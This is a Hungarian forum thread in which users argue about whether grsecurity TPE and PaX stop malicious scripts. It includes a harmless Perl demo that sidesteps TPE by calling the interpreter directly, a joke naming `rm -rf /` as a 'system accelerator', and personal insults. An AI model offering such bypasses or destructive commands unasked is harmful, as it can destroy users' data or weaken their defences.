2.:) elindítsak egy olyan programot, alkalmazást ami képes az adott scriptet értelmezni, és lefuttatni. De ekkor az alkalmazást is rá kell venni külön a script futtatására. Vagy nekem kell kézzel beletölteni, de akkor az már gyak. 1-es pont.

A harmadik eset ugye az volna, amikor az általam indított futó alkalmazást bírják rá távolról az idegen kód lefuttatására, na erre való a PaX, hogy ilyenkor leüsse a renitens alkalmazást.

Ha tudsz más módot - végül is te naphosszat hacker csatornákon lógsz - akkor érdeklődéssel olvasom igazadat elismerve / kalapomat is megemelem /, és akkor beállítom a nagyágyút / grsec acl / is a védelmi repertoárból.

De akkor hajrá ! Asszem akkoriban is mondtam írj egy virus szkriptet, ne csak beszélj róla nagy lózungokkal lekezelően. De ha mondjuk lementem a cuccod virtuális gépbe, rákkatintok egyet v. kettőt, és nem fut, akkor csalódott leszek. És amilyen önelégült vagy, ettől nem fogsz nyugodtan aludni. :-))

nem valamelyik vasútállomásról írtál, a munkáltód szörnyű minőségű wifi hotspotjain keresztül. ;-)

Ennek aztán marha sok köze van a TPE-hez, meg a virusszkriptekhez, a munkáltatómnak extrém különösen. :-))

Látszik, mit sem változtál, egyből IRL személyeskedés, most már biztosan sikerült megsértődni. Jól van. :-))))

Csak már ez sem számít, Kubatov listán már regisztráltak nemkívánatos elemként, le is szóltak pár éve a megfelelő helyre, úgyhogy tökmind1. Leszarom. Elkéstél néhány évet. :-))

De ha már ezt a wifis témát konkrétan is felhoztad az a helyzet, hogy

A 2012/I. törvény 8.§ (2) pontja / gumiszabálya / értelmében erre nem reagálhatok. :-DD

Sajnos tiltja az általad megszavazott párt által hozott törvény. De kár....Most nézz oda. Ilyenek vannak... ;-))

A kollektív szerinti végkielégítésemet azért nem szeretném bebukni ilyen marhaságon.

Nem hagynám a főnökeim zsebében bérmegtakarítási prémiumként... :-), jobban be tud....öncenzúra on!!! :-DDDDD

idegen wifi amúgy nálam hírolvasáson kívül mindenhol arra való, hogy ssh-n belépjek az itthoni gépre vagy azt ssh-n át sock/http proxynak használjam. Akár kódolt (WPA2), akár nem.

Nem tudom miért feltételezed rólam, hogy idegen wifiről én bármi felhasználó/jelszót megadok akárhol csak úgy vaktában.

Gondolom te sem wifi hotspotról netbankolsz direktben, mikor valamelyik hackercsatornán lógsz.

Meg aztán a rendszer által használt randomized IP ID szerintem kicsit viríthat a router logokban, nem hiszem hogy túl sok ilyen rendszer van a környéken.

Bár te jobban képben vagy ezen a téren, én leragadtam ott, hogy windows inkrementális, linux mindig 0, hülyetelefonokat (android, iphone) nem tudom.
De gyaníthatóan könnyebb kiszúrni a rendszereim mozgását emiatt a wifin.Jobb az otthoni gépet is közbeiktatni :-)

Persze az otthoni gép is ezt használja, de mivel az meg olyan dinamikus IP-et kap az ISP-től, hogy több, mint másfél hónapja ugyanaz, annak nagyjából teljesen mindegy az így is úgy is virít a neten, mint a karácsonyfa. ;-)

De azért a tözsdeguru szerepkör legalább jól áll,

Az, hogy mi hogyan áll, az legfeljebb téged érdekel. ;-)
Az önelégültség a magadfajta hackerek kiváltsága. ;-)

Mindössze arra próbáltam célozni, hogy kevesebb időm van már arra hogy itt lógjak. Hogy nem esett le az egy dolog.

Meg aztán a számlaegyenlegemnek is jobb, ha befektetési alapokkal, részvényekkel, certifikátokkal, és devizával foglalkozok, az itteni huppogásért nem adnak a bó'tba semmit. ;-)

U.I: kezdesz szórakoztatni. Ez új, ez régen nem így volt.

--------

Nem vezetek...Jobb így. Nekem is
meg mindenki másnak is.

Látom sikerült megsértődni. Helyes. ;-)

Dehogy sértődtem meg, azt te szoktál, ne vetítsd ki rám... :)

grsec: denied untrusted exec

Úgy tűnik tényleg nem sikerült felfognod ennyi év után sem, hogy miről beszéltem... De akkor most egy példával megtriplázom a hozzáértésedet:

$ cat > stage2.pl << EOF
> #!/usr/bin/perl
> print "BANG!\n";
> EOF
$ chmod +x stage2.pl
$ /home/hunger/stage2.pl
-bash: /home/hunger/stage2.pl: Permission denied
# dmesg | tail -1
grsec: denied untrusted exec (due to not being in trusted group and file in non-root-owned directory) of /home/hunger/stage2.pl by /home/hunger/stage2.pl[bash:21306] uid/euid:1001/1001 gid/egid:1001/1001, parent /bin/bash[bash:18593] uid/euid:1001/1001 gid/egid:1001/1001
$ chmod -x stage2.pl # mert +x se kell
$ ls -la stage2.pl
-rw-r--r-- 1 hunger hunger 33 Nov 20 00:57 stage2.pl
$ perl /home/hunger/stage2.pl
BANG!

Ahhoz, hogy le tudjon az idegen script futni, engem mint felhasználót kell rábírni

Dehogy kell téged rábírni bármire is, itt vagy te eltévedve. A scriptet majd lefuttatja az a (stage 1) böngésző/levelező/chatkliens/akármi exploit, amelyikkel nem számolsz.

Látszik, mit sem változtál, egyből IRL személyeskedés, most már biztosan sikerült megsértődni. Jól van. :-))))

IRL? :)

Ezek szerint nem csak a TPE rövidítést nem tudod mit jelent... :)

Dehogy sértődtem meg, azt te szoktál, ne vetítsd ki rám... :)

Akkor mégis mire kellett előjönnöd a munkahelyem wifijével ? :-DDD
A TPE mely funkciója felelős/nem felelős a munkahelyem wifijének általad kifogásolt minőségéért ? ;-)

Tényleg érdekel :-DD. Nem tudom mi az összefüggés a grsec-beli TPE és a wifi minőség között.

Ha ez a legyen ön is milliomosban lenne, telefonos segítséget kérnék. ;-)))

Ha van ilyen, és nem felejtem el, munkaidőben jelzem a vezetés felé, bár a végrehajtásban dolgozók visszajelzé.....öncenzúra 2012/I. 8.§ (2) szerint.

$ perl /home/hunger/stage2.pl

Húh, ezt megírni tartott 8 évig ? ;-)) Ez komoly. Azért remélem nem fáradtál el.

Amit példának írtál az pont az, hogy meg kell nyissak egy terminált, és a perl-el lefutassak egy szkriptet, semmi több.A közmondásos albán vírus szintje. BANG! :-))

De akkor most egy példával megtriplázom a hozzáértésedet:

Örülök, mivel ez pont az amit fentebb írtam:

Ahhoz, hogy le tudjon az idegen script futni, engem mint felhasználót kell rábírni.:

1.:) elindítsak egy terminált, és lefuttassam a script számára szükséges értelmezővel

Ha nem csak írható módban lennél, elolvastad volna.

Amit most írtál az pont ez. Rábírnál arra, hogy elindítsak egy terminált, és a perl-el (mint értelmezővel) lefutassam a szkriptedet. Azért ez nem a kattintok és fertőz szint.

Ennyi erővel azt is mondhatnád, hogy írjam be az rm -rf / rendszergyorsítót egy terminálba. És akkor nem kell perl sem.

Tőled azért valami színvonalasabbra számítottam. Most csalódott vagyok. :-(
Ez nem a rákattintok 1-et/2-t és fut szint. :-((

böngésző/levelező/chatkliens/akármi exploit, amelyikkel nem számolsz.

Na látod ez az, csak megértjük egymást. Egy ilyet mutass, amit a PaX sem csap le ! Ne csak duma legyen, mutass végre egy ilyet !!!!!!!!

Elméletileg nyilván nincs akadálya egy ilyen motyónak / elméletben bármi lehetséges ;-) /, de mutass végre egyet a gyakorlatban.
Bármilyen apróság is megteszi, de mutass végre egyet.

Ami böngészőből/levelezőből/akármiből kattintásra fut, és mondjuk lekódol egy fájlt a home könyvtárban.
Mondjuk a $HOME/.xsession-errors-t pl. A TPE miatt erre nyilván szkriptet fogsz használni. A szkript meg használhat bármilyen rendszerben levő parancsot, gpg van ennyit segítek. De ennél több info nincsen. :-)

Szóval mutass már egy ilyet. :-))

böngészős/levelezős jöhet. ;-) . Bár a böngészős az necces, noscript meg egyebek miatt nem biztos, hogy lefut. ;-))

chatkliens nincs. Úgyhogy akkor a levelezős vagy az akármis. :-))

Azért böngészőshöz segítség, elnéztem ma helyi idő szerint kb. 9:21-kor a hunger.hu-ra. A logokban / csomagszűrő, webserver / megtalálsz minden számodra szükséges infot.
Mint látod a böngésző sem reménytelen eset.A hackercsatornákról biztos van egy rahedli begyűjtött, összekukázott felhasználható exploitod raktáron.

Ismeretlen forrású kiegészítőt nem telepítek, hacsak nem tudtomon kívül éred el a módját. Ebben mondjuk lenne fantázia TPE-vel és PaX-al is. Csodálkozom, hogy eddig nem említetted.

Azt hittem, valami ilyesmivel jössz elő. Ez így már érdekesebb lenne.

Ezek szerint nem csak a TPE rövidítést nem tudod mit jelent... :)

Trusted Path Execution jó lesz tanár bácsi ? :-) A TPE arra jó, hogy a megbízhatatlan felhasználói csoportba tartozó felhasználók ne tudjanak idegen binárisokat futtatni, mert amit letöltenek, felmásolnak, az a fájl az ő tulajdonuk, és ők ugyebár "megbízhatatlanok". Tehát a cuccuk is az lesz.

A témában említett "vírus" egyelőre ilyen eset. Tehát ez ellen véd. Idegen szkriptet is csak úgy lehet futtatni, ha betöltetsz neki a felhasználóval egy értelmezőt amin root/root van (tehát eleve a rendszerben van).
Kattintásra az sem megy. Legalábbis nem álltál még elő ilyen példával továbbra sem.

Normál esetben kattintásra futnának a szkriptek is, mert az első sorban benne van ugye az info, hogy milyen parancsértelmezőt töltsön be a rendszer a szkript számára (perl, bash, stb.) automatikusan, amikor azt futtatják.

A TPE miatt ezt a felhasználónak kézzel kell betölteni, mivel a szkript futtatását tiltja. Mert a szkript maga megbízhatatlan felhasználó által birtokolt, hiába van rajta futtatási jog. Az értelmező viszont nem, /feltéve ha a rendszer tartalmazza/, de perl, bash azért szvsz minden linuxban van.

Azt sulykolod folyamatosan hogy a TPE tjképpen semmire sem jó, mert úgy kerülöd meg ahogyan akarod. De egyelőre te is odáig jutottál, hogy az usert előtte rá kell venni terminál megnyitásra, értelmező betöltésére (példádban perl). Extrém magas szintű felhasználói aktivitás nélküli automatikusabb életszerűbb megoldással egyelőre nem álltál elő.

----------

Bocs, hogy ilyen soká válaszoltam, de az informatika már nem köt le egy ideje.

Nagy átlagban kb. Hetente/kéthetente nézek csak be ide (is).

--------

Nem vezetek...Jobb így. Nekem is
meg mindenki másnak is.

Csak egyetlen momentumra hadd kerdezzek ra: tenyleg muszaj egy script futtatasahoz terminalt inditani? Mi van akkor, ha Dolphinban/Konquerorban/Nautilusban/Cajaban siman csak megduplazza, es tegyuk fel az a default action, hogy induljon el a futtathato scriptfajl?
--
Blog | @hron84
Üzemeltető macik

- Ha a dolphin/konqueror/stb. saját maga megérti az adott scriptet, akkor nem. akkor lefut és kész.

- Illetve ha rá tudod venni a dolphin-t, konquerort, stb-t, hogy a script-nek megfelelő értelmezővel futtassa / perl, python, bash, tökmindegy / az adott szkriptet akkor sem. Ilyenkor értelemszerűen nem kell futtatási jog sem.

A TPE fő lényege nagyon leegyszerűsítve a futtatási jog funkció törlése a megbízhatatlannak minősített felhasználóknál. / na most Hunger megint elmond mindenféle hülyének, nagyon be van sózva úgy látom, előre be lehet készíteni a popcornt :-DD,
és még igaza is lesz, mert ennyire azért nem egyszerű jószág aki nem hiszi, próbáljon tpe-vel wine-n belül cuccokat futtatni /

Ha futtatási jog nélkül a szkriptet tudod működtetni dolphinból bármi módon, akkor TPE -vel is működni fog.

Ennek tán a legegyszerűbb módja, csinálsz a szkriptnek egy desktop parancsikont, és abban exec= perl akarmi.pl, vagy sh akarmi.sh és akkor kattintással megy, mert így utasítod a dolphint a szükséges értelmező indítására, az meg paraméterként megkapja a szkriptet.
A dolphin ugye megérti a .desktop fájlokat. A többi meg innen megy magától.Persze ennyi erővel terminált is használhatsz. :-)

Hunger 1. példája egy sima perl szkript minden extra nélkül még egy [Desktop Entry]-re se vette a fáradságot, ahhoz hogy azt natúrban futtassam, sajnos meg kell nyissak egy terminált, és perl -en keresztül kell indítanom. vagy bármi olyan cuccot, ami a perlt önmagában megérti, és abba a szkriptet betölteni.

- De csak úgy simán kb. kattintásra, vagy "futtatás konsole programban" akció kényszerítésével, mert van rajta futtatási jog még nem fog elindulni. Kell az értelmező, ami megemészti a szkriptet.
Ilyenkor viszont nem kell a futtatási jog.

- Vagy végül is jó a hunger 2. példája alapján a chrome-hoz hasonló - ezek szerint - 60 ezer USD értékű biztonsági hibák összessége a dolphinban/konquerorban...csak ne wordpad.exe -t használjon, vagy valami más wine-n belüli származékot, mert a TPE miatt wine-n belül winecfg-n, winemine-n kívül kb. minden azonnal összeomlik még a wordpad is.

--------

Nem vezetek...Jobb így. Nekem is
meg mindenki másnak is.

"Ha futtatási jog nélkül a szkriptet tudod működtetni dolphinból bármi módon, akkor TPE -vel is működni fog."

$SHELL /ahol/van/a/script.sh

Es ehhez nem kell a script.sh -n futtatasi jog, eleg egy sima R jog. A $SHELL-re pedig mindig lesz futtatasi jogod, miert ne lenne?

Kulonben a legtobb DE-ben a kulonbozo scriptekhez eleve van MIME hozzarendeles csinalva, automatikusan a megfelelo parancsertelmezohoz. Szoval a scriptek "ugy siman kattintasra" tudnak indulni, ha van rajta futtatasi jog ES a DE ismeri a scriptet. Legalabbis ez KDE3 alatt meg igy volt, KDE4 alatt azert nem tudom, mert nem hasznaltam annyit, hogy lehetosegem legyen kiprobalni. Persze ezen a helyzeten a user tud valtoztatni is.
--
Blog | @hron84
Üzemeltető macik

a legtobb DE-ben a kulonbozo scriptekhez eleve van MIME hozzarendeles csinalva, automatikusan a megfelelo parancsertelmezohoz

Itt most lehet, hogy besétáltam a csapdába :-D, mert messze nem vagyok naprakész, de szerintem scriptek esetén tippre nincs MIME hozzárendelés, pont azért, mert a script első sora amúgy is megadja a szükséges parancsértelmezőt sima futtatás esetére a szkript első sorában #!/bin/bash pl., tehát elméletileg szükségtelen pluszban a hozzárendelés.

szerintem bináris fájlokhoz hasonlóan kezeli. ./szkript.sh és kész.

Vagy megnyitja valamilyen szövegszerkeztővel a *sh *pl fájlokat(?). De ebben nem vagyok biztos.

Persze ezen a helyzeten a user tud valtoztatni is. KDE4 alatt azert nem tudom.

Nálam kde4 van, de *sh *pl-hoz dolphin nem indítja sem a $shellt, sem a perlt, lehet hogy évekkel ezelőtt anno én állítottam be, lehet hogy még kde3-ban és az öröklődött tovább, fogalmam sincs. Nem emlékszem.

A beállítások java része, amivel a rendszert használom nem mostanában lett konfigurálva. :-)))

Es ehhez nem kell a script.sh -n futtatasi jog, eleg egy sima R jog. A $SHELL-re pedig mindig lesz futtatasi jogod, miert ne lenne?

Ez így van. De ehhez kell + felhasználói beavatkozás a $SHELL megadásához, mikor a szkriptet indítod / ez lehet terminálban, .desktop bejegyzésben, vagy akár MIME hozzárendeléssel, az mondjuk mindegy /, mert magától szerintem a dolphin nem csinálja meg alapból.

Mondjuk ezt baromi könnyen meg lehet cáfolni egy akármilyen friss kde4 installal állítgatás nélkül, berakni egy tetszőleges .sh, .pl fájlt levenni róla a futtatási jogot, hogy dolphin ilyenkor mit csinál vele...Ha megnyitja akkor tévedtem. Ha valamilyen szövegszerkesztőben nyitja meg, az már úgy jobb.

--------

Nem vezetek...Jobb így. Nekem is
meg mindenki másnak is.

"szerintem scriptek esetén tippre nincs MIME hozzárendelés"

Muszaj lennie, kulonben a futtathato .doc allomanyt is futtatni akarna (pedig lehet csak az van, hogy minden fajl 777 joggal latszik az NTFS-en).

A masik az, hogy a DE-k mindent, tenyleg mindent MIME hozzarendeleseken keresztul latnak. A script elso sora a MIME detektornak segit, hogy megallapithassa a fajl tipusat (application/x-bash-script), de kozvetlenul nem teszi futtathatova a cuccot (meg ha van is X jog a fajlon), azt majd a megfelelo MIME-handler intezi. Lehet, h ez elsore tulbonyolitottnak hangzik, de okkal van igy.
--
Blog | @hron84
Üzemeltető macik

Nem tudom mi az összefüggés a grsec-beli TPE és a wifi minőség között.

Ugyanannyi összefüggés van, mint a TPE és a tözsdezárós arcoskodásod között. Wall Street farkasának állítod be magad, miközben egy kibaszott kalauz vagy. Illetve most már az sem, mert ezek szerint még onnan is kirúgtak.

Rábírnál arra, hogy elindítsak egy terminált, és a perl-el (mint értelmezővel) lefutassam a szkriptedet.

Ha a tőzsdéhez is annyira értesz, mint az IT biztonsághoz, akkor rövid időn belül nagy szarban lesz a család.

Eddig azt hitted, hogy TPE mellett lehetetlen lefuttatni a szkriptet, most meg azt hiszed, hogy terminál nélkül lehetetlen... Eléggé kinevetteted magad.

Egy ilyet mutass, amit a PaX sem csap le ! Ne csak duma legyen, mutass végre egy ilyet !!!!!!!!

Ha értenél a PaX-hoz, akkor tudnád, hogy nem csodaszer és a PaXTeam soha nem is állított ilyet. Az olyan biztonsági hibák kihasználása ellen, amelyek nem memória korrupción alapulnak a PaX nem nyújt védelmet, így az SQL injection és a Cross-Site Scripting támadásoknál se várd, hogy majd a PaX "lecsapja".

Elméletileg nyilván nincs akadálya egy ilyen motyónak / elméletben bármi lehetséges ;-) /, de mutass végre egyet a gyakorlatban.

Pl. Pinkie Pie Chrome UXSS hibájával összekapcsolt exploit sem használt ki memória korrupciót. A gyakorlatban ezzel 60 ezer dollárt keresett a Pwnium díj keretében.

Azt sulykolod folyamatosan hogy a TPE tjképpen semmire sem jó, mert úgy kerülöd meg ahogyan akarod.

Nem. Én azt "súlykolom", hgoy te mindig pont rossz helyen hozod fel a TPE-t példaként, mint védelmi megoldást. A szkriptek futtatása ellen ugyanis pont nem véd, te mégis a TPE-vel rúgozol, hogy az megfogja. (Illetve hol mikor, mert ugye amikor a TPE-re való mutogatás megbukik, akkor a PaX-ra való mutogatás kezdődik el, ész nélkül... ;)

De egyelőre te is odáig jutottál, hogy az usert előtte rá kell venni terminál megnyitásra, értelmező betöltésére (példádban perl).

A turdus "magasságaiban" szárnyalsz.

Ne égesd magad tovább.

De egyelőre te is odáig jutottál, hogy az usert előtte rá kell venni terminál megnyitásra, értelmező betöltésére (példádban perl).

Az általad beírt példában ha nem írom be, hogy "perl hungerszkript.pl", akkor mi történik ? Semmi.

Ezt most szépítheted, meg turdusoszhatsz, de ez van. Az első példád erről szólt.

Példának is szánalmas volt.

Ha értenél a PaX-hoz, akkor tudnád, hogy nem csodaszer és a PaXTeam soha nem is állított ilyet. Az olyan biztonsági hibák kihasználása ellen, amelyek nem memória korrupción alapulnak a PaX nem nyújt védelmet, így az SQL injection és a Cross-Site Scripting támadásoknál se várd, hogy majd a PaX "lecsapja".

Pl. Pinkie Pie Chrome UXSS hibájával összekapcsolt exploit sem használt ki memória korrupciót. A gyakorlatban ezzel 60 ezer dollárt keresett a Pwnium díj keretében.[/i]

Na végre, ez már valami. Mondhatnám ezzel is lehetett volna kezdeni. :-)
Ez nagyságrendekkel különb példa mint a saját gyártmányú hungerszkripted ;-)

Ez nyert. Kicsit régi, elég komplikált, meg konkrétan windowsra is írták, ha jól látom, de tény, hogy ez végülis nyert a "kategóriában". ;-)
Gondolom frissebbet nem fogsz adni, ha már 3 éve is 60 rupót perkáltak egy ilyenért dolcsiban. ;-)
Gondolom a 60 rupót azért is kapta mert nem mem.corrupt-on alapult.

Firefoxra nincs valami hasonló konkrét tipped ? Régi is jó, az se baj, ha már javították a hibát / tehát a hibának már nincs "piaci értéke" /.

Az a lényeg, hogy noscript -en kívül mivel lehetne még ilyen göncöket megfogni.

Most azt hagyjuk, hogy grsec acl-t be kell lőni, hogy perl-nek, dolphin-nak, stb-nek mihez legyen joga a /home-ban. ezt próbálnám azért elkerülni. ;-)

Szívesebben kérnék meg mást szó se róla :-D, de sajnos csak te vagy itt kéznél aki naphosszat hackercsatornákon lógsz. ;-)

mint a TPE és a tözsdezárós arcoskodásod között. Wall Street farkasának állítod be magad, miközben egy kibaszott kalauz vagy.

Ha majd lesz neked is nyitott daytrade-re tervezett tranzakciód tőzsdezárás előtt fél órával is, akkor téged is jobban érdekel majd a tőzsdezárás. Egyszer próbáld ki. ;-)

Nem tudom miért akaszt ki ez ennyire. ;-))

Mikor legutóbb megnéztem "Kibaszott kalauz"-oknak sem volt tilos, hogy értékpapírszámlákkal meg devizaszámlákkal rendelkezzenek. De lehet, hogy meg kell nézzem ezeket a mai törvényeket most már. ;-)

Ha a tőzsdéhez is annyira értesz, mint az IT biztonsághoz, akkor rövid időn belül nagy szarban lesz a család.

Informatika már évek óta nem érdekel különösebben. Amúgy köszönjük az aggódásodat. De hacsak nagy baromságot nem csinálok a hátralevő pár hétben idén is több jön be tőkepiacról, mint munkából. De jó tudni hogy aggódsz az anyagi helyzetünkért. :-)

--------

Nem vezetek...Jobb így. Nekem is
meg mindenki másnak is.

Bocsánat a belepofázásért, de azért ugye azt te is érted/érzed, hogy ha most Hunger neked tényleg valami olyat adna ami valóban működik, akkor jogilag simán támadhatóvá válna. Kb olyannak érzem a felvetést, mint amikor a serdülők heccelik egymást, hogy "úgy se mered bedobni azt az üveget ezzel a kővel, Mcfly, mert nyuszi vagy". Szóval szerintem erről a részről nyugodtan mondj le. Ehelyett lehet jobban jársz, ha az elméleti háttérrel barátkozol, ami úgy szól, hogy ha egy program működését irányítani tudjuk, akkor az adott jogosultsági szinten a program azt csinálja amit mondunk neki - calc.exe-t hív, vagy amit akarunk (vagy akár perl /tmp/hunger.pl-t). Innentől fogva a TPE-t én is kicsit gyengének érzem, mivel a támadási felület innentől már csak abból áll, hogy valahogy az áldozat gépét rábírjam, hogy futtassa is amit a támadó akar. Ehhez persze sok esetben kell valami user interakció (file letöltés és/vagy megnyitás, oldal betöltés (esetleg js futtatás,E-mail megjelenítés - bármi amin keresztül bármilyen programot el lehet téríteni ha az adott adat pontos értelmezésére nincs felkészülve), de távolról kihasználható hiba esetén egy kívülről elérhető szolgáltatás esetén ez a rész se olyan problémás már (mivel a szolgáltatás állandóan fut, ergo csak meg kell találni, és kihasználni az ismert sebezhetőséget).
Ezen felül van még a másik probléma forrás, amikor az eltérített program (akár 1 akár több lépésben) aztán egy másik (magasabb jogosultsággal futó) kód hibáját kihasználva akár privilégium szint emelést is el tud érni (ez lehet kernel, kernel driver, vagy simán root joggal futó szolgáltatás, vagy akár csak SUID program (utóbbi shellshock-nál pl elég vicces volt: találkoztam olyannal, hogy a SUID-os bináris direktben hívott másik scriptet (bash-en keresztül), aminek a paramétereit lehet irányítani - ott pl a shellshock egész új értelmet nyert nálam)) és onnan meg már nyitott kapukon kell csak ki-be sétálgatni.
Persze mondhatod azt, hogy figyelsz mindenre és minden furcsa process-t azonnal vizsgálódó szemekkel nézel, de ettől még a lehetőség egy komolyabb rootkit-re ugyan úgy ott van a rendszerben, tehát elméleti síkon ennek megkerülésére is van lehetőség.
Ezzel persze nem mondom azt, hogy ilyen jellegű veszélynek vagy most kitéve, csupán azt, hogy megvan az elméleti lehetősége annak, hogy megfelelő idővel és tudással bíró ember ezeket a hibalehetőségeket kiaknázza, és akár alkalmazza is a valóságban. Ezen támadási vektorokat korlátozandó hozták létre a különböző védelmi eljárásokat ( grsec patchelt kernel alatt van is jó pár amit be lehet kapcsolni (már ha a rendszereden futó többi program amúgy ezt tolerálja)), de magában egyik se nyújt teljes értékű védelmet mint láthatod. A biztonsági tényező itt is csak abból származik, hogy a különböző védelmi mechanizmusok mind próbálnak 1-1 konkrét hibalehetőséget megfogni és védekezni ellene (ergo minél több van annál magasabb szintű biztonságot lehet elérni), de épp ez miatt 1 konkrétat kiragadni és Szent Grálként kezelni hülyeség, mert ezzel mintha kijelentetted volna, hogy a többi amúgy csak dísznek van, és csak azt bizonyítod be, hogy magát a koncepciót nem érted az egész biztonságtechnika mögött.
____________________________________
Az embert 2 éven át arra tanítják hogyan álljon meg a 2 lábán, és hogyan beszéljen... Aztán azt mondják neki: -"Ülj le és kuss legyen!"..

azért ugye azt te is érted/érzed, hogy ha most Hunger neked tényleg valami olyat adna ami valóban működik, akkor jogilag simán támadhatóvá válna. Kb olyannak érzem a felvetést, mint amikor a serdülők heccelik egymást, hogy "úgy se mered bedobni azt az üveget ezzel a kővel, Mcfly, mert nyuszi vagy". Szóval szerintem erről a részről nyugodtan mondj le.

Egy próbát megért ;-)) Veszítenivaló nem volt. Legalábbis erről az oldalról. :-D

Érdekes lett volna megnézni amolyan "feketedoboz módszerrel" egy chrome-hoz hasonló firefox bugot virtuális gépen, és a feladat az lett volna, hogy a bug kihasználását meggátolni pl. noscript vagy grsec acl használata nélkül ?
Hátha fel lehet húzni valami védelmi sablont az adott hibakategóriára, ami mondjuk nem noscript. Tehát a laboratóriumi környezetben szándékosan hibás régi firefox verziót alkalmazni, hátha testre szabhatóbb védelmet lehet találni későbbi hasonló esetekre.

Nem biztos, hogy lett volna türelmem, kedvem, szabadidőm erre, de a talonba benne lett volna, hátha mégis. :-D

Lehet hogy ez is bele került volna a soha meg nem valósult elméleti tesztek közé, mint pl. hogyan reagál pl. a windows nt kernel arra,
ha a SAM fájlt kiszerkesztik alóla hex. editorral olyan módon hogy ugyanazzal az UID-el két felhasználó szerepel két eltérő jelszóval. :-D

betöltéskor helyesen észreveszi-e a külső manipulációt, és pl. kék halállal elpánikol, vagy engedi a belépést, és mivel ua UID van két névnél, két felhasználónévre is engedi a belépést, és hozzáférhetőek a fájlok mert ua. uid-re vannak a jogok beállítva ? tehát pl. a guest-et feloldják a zárolás alól berakják a rendszergazda csoportba, de az uid kódja ua. lesz mint a rendszergazdának, hozzáfér-e a rendszergazda fájlokhoz ?

anno nt4 korában jutott eszembe ez az elmebeteg ötlet, amikor jelszókiütéshez elég volt a sam fájlt törölni, sose próbáltam ki egyik win verzióval sem. mostmár biztosan nem is fogom sosem.

Ehelyett lehet jobban jársz, ha az elméleti háttérrel barátkozol, ami úgy szól, hogy ha egy program működését irányítani tudjuk, akkor az adott jogosultsági szinten a program azt csinálja amit mondunk neki - calc.exe-t hív, vagy amit akarunk (vagy akár perl /tmp/hunger.pl-t). Innentől fogva a TPE-t én is kicsit gyengének érzem, mivel a támadási felület innentől már csak abból áll, hogy valahogy az áldozat gépét rábírjam, hogy futtassa is amit a támadó akar.

Ezt én nem is vitattam. Az user nevében futó szkript, vagy program mindent megtehet, amit maga az user is megtehet. Kérdés, hogy a szkriptet el tudjuk-e indítani.

A bináris programról mindenesetre azért nehezebben mondod meg mit csinál, mint mondjuk egy szkriptről :-) , és a szkript azért alapvetően csak azokat a programokat használhatja, amik a célrendszeren elérhetőek.
Ráadásul a szkript futását adott esetben el is kell rejtened valamilyen egyéb eszközzel, mert ahol pl. TPE van, ott esetleg jobban megnézik milyen szkripteket futtatnak le. tehát az user interakció esélye erősen csökken.

Ehhez persze sok esetben kell valami user interakció

Igen. Pl. Ha az user van olyan birka, hogy kiadja pl. az rm -rf /-t, mint rendszergyorsítót, akkor nincs olyan erő ami ebben meggátolhatja :-)), míg egy bináris fájlban nagyjából tjképpen bármi lehet akár akarja azt az user, akár nem.

aztán egy másik (magasabb jogosultsággal futó) kód hibáját kihasználva akár privilégium szint emelést is el tud érni (ez lehet kernel, kernel driver, vagy simán root joggal futó szolgáltatás, vagy akár csak SUID program

Igen, de most akkor elvi síkon ott tartunk, hogy a TPE miatt idegen binárist nem tudsz bejuttatni simán,
- csak ha van egy megfelelően sebezhető program megfelelő verziója a célgépen, amivel pl. egy idegen script futtatására rá tudod bírni a célszámítógépet.
Tehát azért a TPE nehezített valamennyit a dolgodon, vagy nem ?

Ami nem feltétlenül lehet pl. mem. korrupciós bug sem, mert mondjuk másik védelmi elem, pl. PaX lecsapja. Az idegen kód bejuttatása innen már cseppet sem optimális, túlságosan sok idegen tényező léphet be, ami a sikeredet gátolhatja.

Ha pedig a Hunger által linkelt chrome-s hibához hasonló sebezhetőség van, ott meg kell egy viszonylag konkrét böngészőverzió / ez mondjuk honlap user-agentből megvan adott esetben, ha nem hamis :-) / , de lehet hogy van hozzá olyan kiegészítő (pl. noscript a firefoxnál), amivel viszont ez a próbálkozás is lehet, hogy elhasal. Vagy a kihasználni kivánt függvény egyszerűen bugos mert a firefox verzió az adott distro által szétpachelt, agyonpatkolt, rosszul megvalósított az adott környezetben.

céloztál kernel bugra, ott is lehet ilyen.:
pl. a 3.14-es kernelben amit használok a win16-os környezet teljesen használhatatlan, mert elkurták a modify_ldt()-t, mert találtak benne valami korai verzióban biztonsági problémát / nem tudok részleteket, nem nyomoztam nagyon a témában, amit találtam magyarázatként valami listában az informatív "security fix" szerepelt :-), és a javítás során sikerült teljesen használhatatlanná tenni.
Innentől nagy biztonsággal kijelenthető, hogy wine+win16 alkalmazás révén nem lesz pl. priv. emelés, mert egyetlen rohadt win16 alkalmazást sem lehet normálisan elindítani :-)

Abban igazad van, hogy ezek a védelmi megoldások (noscript, PaX, grsec) önmagukban nem csodaszerek.

A noscript hiába van, ha ki tudsz használni egy memkorrupciós kernel bugot, a PaX is hiába van, ha van egy ilyen jó kis chrome-szerű sebezhetőség, és mindkettő hiába lehet, ha letöltünk egy jó kis idegen bináris fájlt mint a topicban szereplő jószág, és futtatjuk, mert nincs restrickió az idegen binárisokkal szemben. :-)

De ha egy biztonsági eszköz (TPE) megkerülésére feltételezel egy másik eszköz másik biztonsági hibáját (böngésző script), akkor lehet, hogy arra is van adott esetben egy másik védelmi eszköz (pl. noscript)...


Ezzel persze nem mondom azt, hogy ilyen jellegű veszélynek vagy most kitéve, csupán azt, hogy megvan az elméleti lehetősége annak, hogy megfelelő idővel és tudással bíró ember ezeket a hibalehetőségeket kiaknázza,

Én ezt nem vitatom, de a trend a könnyebb ellenállás útján megy egyelőre, ahogyan mindig, amennyire én látom. Tény, mivel nem foglalkozok informatikával, nem látok túl sokat :-))

Mindenesetre amíg az alap linuxok simán támogatják idegen binárisok futtatását, nagy biztonsággal megjósolható, hogy nem a szkriptekkel fognak ilyen módon támadni.

Sokan még egy noexec-et sem írnak be home fájlrendszer csatolásba, (tudom nem kell mondanod mennyire könnyű adott esetben kikerülni, bár lehet hogy ez változott az utóbbi 7-8 évben),
addig nem az ilyen chrome-szerű bonyolult több sebezhetőséget egyszerre kihasználó eszközök adják a kártékony viszonylag széles körben terjedő cuccok tömegeit.

de épp ez miatt 1 konkrétat kiragadni és Szent Grálként kezelni hülyeség, mert ezzel mintha kijelentetted volna, hogy a többi amúgy csak dísznek van,

